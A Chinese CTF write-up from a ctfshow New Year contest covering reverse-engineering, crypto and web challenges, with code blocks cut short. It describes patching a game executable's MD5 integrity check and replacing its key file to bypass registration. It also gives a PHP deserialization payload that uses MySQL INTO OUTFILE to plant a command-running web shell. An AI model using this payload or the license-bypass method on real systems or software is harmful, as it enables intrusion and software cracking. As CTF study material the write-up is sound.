ctfshow 元旦水友赛部分wp
最后苟到了第4名,wp主要是RE部分,后续其他题随缘复现
RE
re_signin
直接看加密
void __fastcall encrypt(unsigned __int8 *a1, _BYTE *a2, int Num2024, int key) |
是一个可逆的过程,调试得到key,脚本如下
key = 0xA051 |
cpp
打开发现全是中文,通过替换,自己修修补补能够还原大部分的逻辑,但是这个常量不太好操作
常量字符错误[] = { |
根据已有的ENETUNREACH
搜索得到其在 <cerrno>
库中,搜索这个库里面错误常量定义
在 https://zh.wikipedia.org/w/index.php?title=Errno.h&oldformat=true&variant=zh-cn 维基百科中找到了部分,但是带有注释,Google翻译效果甚微,用正则表达式去除多余的字符,得到下面的结果
基本一致了,还原即可
还原算法后,发现是双字节加密,所以改了下输出,方便爆破
|
爆破脚本如下
import subprocess |
四国军棋_套神注册码
起初看不懂提示,就直接分析exe的注册验证逻辑
通过查找中文字符串“已注册”、“注册无效” 找到函数sub_409460
通过多次调试,得到下面的信息:
先打开OPREC
文件,并且将文件内容存储到内存
v12[353787] = 0x40080000; |
然后对两组数据进行了解密,解密后的明文可以在Src
中看到,其实就是注册界面输入的账号和注册码
对于这个
OPREC
文件,通过字符串找到了注册的地方,看到了将账号和注册码写入该文件的地方,通过对比运行文件前后的OPREC
文件,找到了这两个加密后密文存储的文件偏移
然后又读取了aimethod.bin
文件
strcpy(Destination, v136 + 680812); |
对这个文件也进行了解密,解密次数30000次,与keys.txt中的验证码数目相同,也就是这个时候觉得修改的文件应该是这个
for ( j = 0; j < 30000; ++j ) // 这个次数刚好把文件解密完全 |
解密之后,对解密后的文件内容进行了MD5计算
这个MD5是点进去发现了MD5的初始向量,就感觉是MD5
_DWORD *__cdecl sub_4DB370(_DWORD *a1) |
于是将解密后的文件DUMP出来,进行了MD5计算,结果刚好和后续的MD5比较处的一致
.text:00409B87 push 20h ; ' ' ; MaxCount |
这也刚好是32字节,估计要PATCH的地方就是这里
下面这段代码对输入的注册码进行了MD5计算,并且与aimethod.bin
解密后的内容进行了对比,循环次数30000次
.text:00409C05 lea eax, [ebp+var_2F0] |
那这就明确了,aimethod.bin
中存储了30000个注册码,在验证的时候,通过对比进行MD5值来检验输入注册码是否合法,并且程序为了防止修改aimethod.bin
文件,在运行时对其进行了MD5校验。
那破解的思路就是:
将keys.txt中的30000个注册码进行MD5加密,加密后的文件,再进行程序中的加密算法加密,替换掉aimethod.bin
文件,并且Patch exe文件中的MD5检验值,那么程序的注册码就成了keys.txt中的内容。
首先,计算keys.txt中每个字符的MD5值,并写入文件
import hashlib |
还原加密算法,并且加入文件加密
这里注意,加密的时候字符串需要进行0填充到长度为16
计算加密后文件的MD5值
❯ get-FileHash -Path "keysDemo" -Algorithm MD5 | Select-Object Hash |
修改exe中的字符串
.data:005A2D83 a55b924ce677dbb db 'cf54e9dc4e6b2fb5631532da37397a2e',0 |
还原加密算法,加入文件加密功能
|
将加密后的文件替换aimethod.bin
运行后,输入keys.txt中的任意注册码都能注册成功
然后就是补充RE1.py的部分了
|
Crypto
月月的爱情故事
提示摩斯,观察文本只有,。!
三个符号,刚好对的上摩斯电码中的点、划、停顿,尝试替换。
->.
,
-> -
!
->
,然后提取符号,脚本如下
import re |
摩斯密码解密为PASSWORDISYUEYUE666
还给了一个base64编码过的字符串,一次base64解码后U2Fsd
打头,两次base64解码发现Salted__
字段,觉得是用AES加盐
密文:U2FsdGVkX1/bVF45zytlkeEhefAqkpHQdMqtULk2OibLq79NHJMm9rP3CtkKrE41
CaBJmMIVcUVSb3IzpHeuWw==
密钥:YUEYUE666ctfshow{W0w_th3_st0ry_s0_w0nderfu1!}
NOeasyRSA
类似DH密钥交换的过程,虽然只给了两个公钥AB,但只需要知道pow(u,a,p)
和B
/pow(u,b,p)
和B
就能计算出公共密钥
从生成 A 的等式中恢复 pow(u,a,p)
使用 pow(u,a,p) 和B计算共享密钥,然后将其与 enc进行异或,得到flag,脚本如下
from Crypto.Util.number import long_to_bytes, bytes_to_long |
Web
easy_login
给出了源码链接,里面提到ctfshow 暑期活动 红包挑战9 源码,故直接去找当时其他师傅的wp
最后参照了cyyyy
师傅的wp中的pop链构造和Payloadpop链
```PHP |
Payload
/index.php?action=main&token=user|O%3a11%3a"application"%3a2%3a{s%3a5%3a"mysql"%3bO%3a12%3a"mysql_helper"%3a1%3a{s%3a6%3a"option"%3ba%3a1%3a{i%3a1002%3bs%3a57%3a"select+'<%3f%3d`nl+/*`%3b'++into+outfile+'/var/www/html/3.php'%3b"%3b}}s%3a5%3a"debug"%3bb%3a1%3b} |
上传后直接访问/3.php获得flag